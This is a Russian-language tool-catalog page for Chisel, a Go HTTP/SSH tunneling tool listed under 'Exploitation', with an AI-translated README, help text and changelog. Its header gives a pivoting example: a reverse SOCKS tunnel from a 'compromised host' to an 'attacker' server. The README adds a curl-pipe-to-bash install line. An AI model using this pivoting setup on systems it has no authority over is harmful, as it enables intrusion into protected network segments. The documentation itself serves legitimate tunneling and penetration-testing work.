Chisel

Exploitation v1.11.7 · 28.06.2026 активный

Быстрый TCP/UDP туннель через HTTP, защищённый SSH. Написан на Go. Используется для пивотинга — проброса трафика через скомпрометированный хост к недоступным сегментам сети. Один бинарник работает и как сервер и как клиент. Идеально подходит когда firewall блокирует всё кроме HTTP/HTTPS. # Сервер (атакующая машина) chisel server -p 8080 --reverse # Клиент (скомпрометированный хост) chisel client attacker:8080 R:socks

GitHub Releases Forgejo Mirror
proxy exploitation tunneling pivoting mainstream
Версии
v1.11.7
28.06.2026 current
Добавлен 10.06.2026 · Обновлён 07.07.2026 · Exploitation
Установка 
# Go install
go install github.com/jpillora/chisel@latest

# Готовые бинарники (Linux, Windows, macOS, ARM)
# https://github.com/jpillora/chisel/releases

# Из исходников
git clone https://github.com/jpillora/chisel
cd chisel && go build .
переведено ИИ

Chisel

GoDoc CI

Chisel — это быстрый TCP/UDP-туннель, передаваемый по протоколу HTTP и защищенный с помощью SSH. Единственный исполняемый файл, включающий как клиент, так и сервер. Написан на языке Go (golang). Chisel полезен в первую очередь для обхода файрволов, хотя его также можно использовать для создания защищенной точки доступа в вашу сеть.

overview

Содержание

Возможности

  • Прост в использовании
  • Производителен*
  • Зашифрованные соединения с использованием протокола SSH (через crypto/ssh)
  • Аутентифицированные соединения; аутентификация клиентских соединений с помощью конфигурационного файла пользователей, аутентификация серверных соединений с сопоставлением отпечатков пальцев.
  • Клиент автоматически переподключается с экспоненциальной задержкой
  • Клиенты могут создавать несколько туннельных оконечных точек по одному TCP-соединению
  • Клиенты могут опционально проходить через прокси SOCKS или HTTP CONNECT
  • Обратное пробросирование портов (Соединения проходят через сервер и выходят через клиент)
  • Сервер опционально выполняет роль реверс-прокси
  • Сервер опционально разрешает соединения SOCKS5 (См. руководство ниже)
  • Клиенты опционально разрешают соединения SOCKS5 из обратного проброса порта
  • Клиентские соединения через stdio, что поддерживает ssh -o ProxyCommand для предоставления SSH поверх HTTP

Установка

Бинарные файлы

Releases Releases

См. последний релиз или загрузите и установите его сейчас с помощью команды curl https://i.jpillora.com/chisel! | bash

Docker

Docker Pulls Image Size

docker run --rm -it jpillora/chisel --help

Fedora

Пакет поддерживается сообществом Fedora. Если у вас возникнут проблемы, связанные с использованием RPM, пожалуйста, используйте этот трекер проблем.

sudo dnf -y install chisel

Исходный код

$ go install github.com/jpillora/chisel@latest

Демонстрация

Демо-приложение на Heroku запускает этот chisel server:

$ chisel server --port $PORT --proxy http://example.com
# listens on $PORT, proxy web requests to http://example.com

Это демо-приложение также запускает простой файловый сервер на порту :3000, который обычно недоступен из-за файрвала Heroku. Однако, если мы пробросим туннель с помощью:

$ chisel client https://chisel-demo.herokuapp.com 3000
# connects to chisel server at https://chisel-demo.herokuapp.com,
# tunnels your localhost:3000 to the server's localhost:3000

а затем посетим localhost:3000, мы должны увидеть список каталогов. Кроме того, если мы посетим демо-приложение в браузере, мы должны попасть на прокси по умолчанию сервера и увидеть копию example.com.

Использование

$ chisel --help

  Usage: chisel [command] [--help]

  Version: X.Y.Z

  Commands:
    server - runs chisel in server mode
    client - runs chisel in client mode

  Read more:
    https://github.com/jpillora/chisel


$ chisel server --help

  Usage: chisel server [options]

  Options:

    --host, Defines the HTTP listening host – the network interface
    (defaults the environment variable HOST and falls back to 0.0.0.0).

    --port, -p, Defines the HTTP listening port (defaults to the environment
    variable PORT and fallsback to port 8080).

    --key, (deprecated use --keygen and --keyfile instead)
    An optional string to seed the generation of a ECDSA public
    and private key pair. All communications will be secured using this
    key pair. Share the subsequent fingerprint with clients to enable detection
    of man-in-the-middle attacks (defaults to the CHISEL_KEY environment
    variable, otherwise a new key is generate each run).

    --keygen, A path to write a newly generated PEM-encoded SSH private key file.
    If users depend on your --key fingerprint, you may also include your --key to
    output your existing key. Use - (dash) to output the generated key to stdout.

    --keyfile, An optional path to a PEM-encoded SSH private key. When
    this flag is set, the --key option is ignored, and the provided private key
    is used to secure all communications. (defaults to the CHISEL_KEY_FILE
    environment variable). Since ECDSA keys are short, you may also set keyfile
    to an inline base64 private key (e.g. chisel server --keygen - | base64).

    --authfile, An optional path to a users.json file. This file should
    be an object with users defined like:
      {
        "<user:pass>": ["<addr-regex>","<addr-regex>"]
      }
    when <user> connects, their <pass> will be verified and then
    each of the remote addresses will be compared against the list
    of address regular expressions for a match. Addresses will
    always come in the form "<remote-host>:<remote-port>" for normal remotes
    and "R:<local-interface>:<local-port>" for reverse port forwarding
    remotes. This file will be automatically reloaded on change.

    --auth, An optional string representing a single user with full
    access, in the form of <user:pass>. It is equivalent to creating an
    authfile with {"<user:pass>": [""]}. If unset, it will use the
    environment variable AUTH.

    --keepalive, An optional keepalive interval. Since the underlying
    transport is HTTP, in many instances we'll be traversing through
    proxies, often these proxies will close idle connections. You must
    specify a time with a unit, for example '5s' or '2m'. Defaults
    to '25s' (set to 0s to disable).

    --backend, Specifies another HTTP server to proxy requests to when
    chisel receives a normal HTTP request. Useful for hiding chisel in
    plain sight.

    --socks5, Allow clients to access the internal SOCKS5 proxy. See
    chisel client --help for more information.

    --reverse, Allow clients to specify reverse port forwarding remotes
    in addition to normal remotes.

    --tls-key, Enables TLS and provides optional path to a PEM-encoded
    TLS private key. When this flag is set, you must also set --tls-cert,
    and you cannot set --tls-domain.

    --tls-cert, Enables TLS and provides optional path to a PEM-encoded
    TLS certificate. When this flag is set, you must also set --tls-key,
    and you cannot set --tls-domain.

    --tls-domain, Enables TLS and automatically acquires a TLS key and
    certificate using LetsEncrypt. Setting --tls-domain requires port 443.
    You may specify multiple --tls-domain flags to serve multiple domains.
    The resulting files are cached in the "$HOME/.cache/chisel" directory.
    You can modify this path by setting the CHISEL_LE_CACHE variable,
    or disable caching by setting this variable to "-". You can optionally
    provide a certificate notification email by setting CHISEL_LE_EMAIL.

    --tls-ca, a path to a PEM encoded CA certificate bundle or a directory
    holding multiple PEM encode CA certificate bundle files, which is used to 
    validate client connections. The provided CA certificates will be used 
    instead of the system roots. This is commonly used to implement mutual-TLS. 

    --pid Generate pid file in current working directory

    -v, Enable verbose logging

    --help, This help text

  Signals:
    The chisel process is listening for:
      a SIGUSR2 to print process stats, and
      a SIGHUP to short-circuit the client reconnect timer

  Version:
    X.Y.Z

  Read more:
    https://github.com/jpillora/chisel


$ chisel client --help

  Usage: chisel client [options] <server> <remote> [remote] [remote] ...

  <server> is the URL to the chisel server.

  <remote>s are remote connections tunneled through the server, each of
  which come in the form:

    <local-host>:<local-port>:<remote-host>:<remote-port>/<protocol>

    ■ local-host defaults to 0.0.0.0 (all interfaces).
    ■ local-port defaults to remote-port.
    ■ remote-port is required*.
    ■ remote-host defaults to 0.0.0.0 (server localhost).
    ■ protocol defaults to tcp.

  which shares <remote-host>:<remote-port> from the server to the client
  as <local-host>:<local-port>, or:

    R:<local-interface>:<local-port>:<remote-host>:<remote-port>/<protocol>

  which does reverse port forwarding, sharing <remote-host>:<remote-port>
  from the client to the server's <local-interface>:<local-port>.

    example remotes

      3000
      example.com:3000
      3000:google.com:80
      192.168.0.5:3000:google.com:80
      socks
      5000:socks
      R:2222:localhost:22
      R:socks
      R:5000:socks
      stdio:example.com:22
      1.1.1.1:53/udp

    When the chisel server has --socks5 enabled, remotes can
    specify "socks" in place of remote-host and remote-port.
    The default local host and port for a "socks" remote is
    127.0.0.1:1080. Connections to this remote will terminate
    at the server's internal SOCKS5 proxy.

    When the chisel server has --reverse enabled, remotes can
    be prefixed with R to denote that they are reversed. That
    is, the server will listen and accept connections, and they
    will be proxied through the client which specified the remote.
    Reverse remotes specifying "R:socks" will listen on the server's
    default socks port (1080) and terminate the connection at the
    client's internal SOCKS5 proxy.

    When stdio is used as local-host, the tunnel will connect standard
    input/output of this program with the remote. This is useful when 
    combined with ssh ProxyCommand. You can use
      ssh -o ProxyCommand='chisel client chiselserver stdio:%h:%p' \
          user@example.com
    to connect to an SSH server through the tunnel.

  Options:

    --fingerprint, A *strongly recommended* fingerprint string
    to perform host-key validation against the server's public key.
    Fingerprint mismatches will close the connection.
    Fingerprints are generated by hashing the ECDSA public key using
    SHA256 and encoding the result in base64.
    Fingerprints must be 44 characters containing a trailing equals (=).

    --auth, An optional username and password (client authentication)
    in the form: "<user>:<pass>". These credentials are compared to
    the credentials inside the server's --authfile. defaults to the
    AUTH environment variable.

    --keepalive, An optional keepalive interval. Since the underlying
    transport is HTTP, in many instances we'll be traversing through
    proxies, often these proxies will close idle connections. You must
    specify a time with a unit, for example '5s' or '2m'. Defaults
    to '25s' (set to 0s to disable).

    --max-retry-count, Maximum number of times to retry before exiting.
    Defaults to unlimited.

    --max-retry-interval, Maximum wait time before retrying after a
    disconnection. Defaults to 5 minutes.

    --proxy, An optional HTTP CONNECT or SOCKS5 proxy which will be
    used to reach the chisel server. Authentication can be specified
    inside the URL.
    For example, http://admin:password@my-server.com:8081
            or: socks://admin:password@my-server.com:1080

    --header, Set a custom header in the form "HeaderName: HeaderContent".
    Can be used multiple times. (e.g --header "Foo: Bar" --header "Hello: World")

    --hostname, Optionally set the 'Host' header (defaults to the host
    found in the server url).

    --sni, Override the ServerName when using TLS (defaults to the 
    hostname).

    --tls-ca, An optional root certificate bundle used to verify the
    chisel server. Only valid when connecting to the server with
    "https" or "wss". By default, the operating system CAs will be used.

    --tls-skip-verify, Skip server TLS certificate verification of
    chain and host name (if TLS is used for transport connections to
    server). If set, client accepts any TLS certificate presented by
    the server and any host name in that certificate. This only affects
    transport https (wss) connection. Chisel server's public key
    may be still verified (see --fingerprint) after inner connection
    is established.

    --tls-key, a path to a PEM encoded private key used for client 
    authentication (mutual-TLS).

    --tls-cert, a path to a PEM encoded certificate matching the provided 
    private key. The certificate must have client authentication 
    enabled (mutual-TLS).

    --pid Generate pid file in current working directory

    -v, Enable verbose logging

    --help, This help text

  Signals:
    The chisel process is listening for:
      a SIGUSR2 to print process stats, and
      a SIGHUP to short-circuit the client reconnect timer

  Version:
    X.Y.Z

  Read more:
    https://github.com/jpillora/chisel

Безопасность

Шифрование всегда включено. Когда вы запускаете сервер chisel, он генерирует пару ключей ECDSA (публичный/приватный) в памяти. Отпечаток публичного ключа (в кодировке base64 SHA256) будет отображаться при запуске сервера. Вместо генерации случайного ключа сервер может опционально указать файл ключа, используя опцию --keyfile. При подключении клиентов они также будут отображать отпечаток публичного ключа сервера. Клиент может принудительно указать конкретный отпечаток, используя опцию --fingerprint. Дополнительную информацию см. в разделе --help выше.

Аутентификация

Используя опцию --authfile, сервер может опционально предоставить конфигурационный файл user.json для создания списка принятых пользователей. Затем клиент проходит аутентификацию с помощью опции --auth. Пример конфигурационного файла аутентификации см. в users.json. Дополнительную информацию см. в разделе --help выше.

Внутренне это реализуется с помощью метода аутентификации паролем, предоставляемого SSH. Подробнее о crypto/ssh можно узнать здесь http://blog.gopheracademy.com/go-and-ssh/.

Руководство по SOCKS5 с Docker

  1. Выведите новый приватный ключ в терминал

    ```sh chisel server --keygen -

    или сохраните его на диск --keygen /путь/к/мой_ключ

    ```

  2. Запустите свой сервер chisel

    sh jpillora/chisel server --keyfile '<строка ck-base64 или путь к файлу>' -p 9312 --socks5

  3. Подключите свой клиент chisel (используя отпечаток сервера)

    sh chisel client --fingerprint '<см. вывод сервера>' <адрес-сервера>:9312 socks

  4. Укажите свои SOCKS5-клиенты (например, ОС/браузер) на:

    <адрес-клиента>:1080

  5. Теперь у вас есть зашифрованное, аутентифицированное соединение SOCKS5 поверх HTTP

Предупреждения

Поскольку требуется поддержка WebSockets:

  • Провайдеры IaaS все будут поддерживать WebSockets (если только перед вами не был принудительно установлен неподдерживающий HTTP-прокси, в этом случае я бы утверждал, что вы были понижены до PaaS)
  • Провайдеры PaaS различаются в поддержке WebSockets
  • Heroku имеет полную поддержку
  • Openshift имеет полную поддержку, хотя соединения принимаются только на портах 8443 и 8080
  • Google App Engine не имеет поддержки (Отслеживайте это в их репозитории)

Участие в разработке

  • http://golang.org/doc/code.html
  • http://golang.org/doc/effective_go.html
  • github.com/jpillora/chisel/share содержит общий пакет
  • github.com/jpillora/chisel/server содержит пакет сервера
  • github.com/jpillora/chisel/client содержит пакет клиента

История изменений

  • 1.0 - Первоначальный релиз
  • 1.1 - Заменено простое симметричное шифрование на ECDSA SSH
  • 1.2 - Добавлена поддержка SOCKS5 (сервер) и HTTP CONNECT (клиент)
  • 1.3 - Добавлена поддержка обратного туннелирования
  • 1.4 - Добавлена поддержка произвольных HTTP-заголовков
  • 1.5 - Добавлена поддержка обратного SOCKS (от @aus)
  • 1.6 - Добавлена поддержка stdio для клиента (от @BoleynSu)
  • 1.7 - Добавлена поддержка UDP
  • 1.8 - Переход на Docker-образ scratch
  • 1.9 - Обновление до Go 1.21. Переход от seed-семени --key к строкам ключей P256 с помощью --key{gen,file} (от @cmenginnz)
  • 1.10 - Обновление до Go 1.22. Добавление .rpm, .deb и .akp в релизы. Исправлена некорректная проверка версий.
  • 1.11 - Обновление до Go 1.25.1. Обновление всех зависимостей.

Лицензия

MIT © Jaime Pillora

Комментарии
Войдите, чтобы оставить комментарий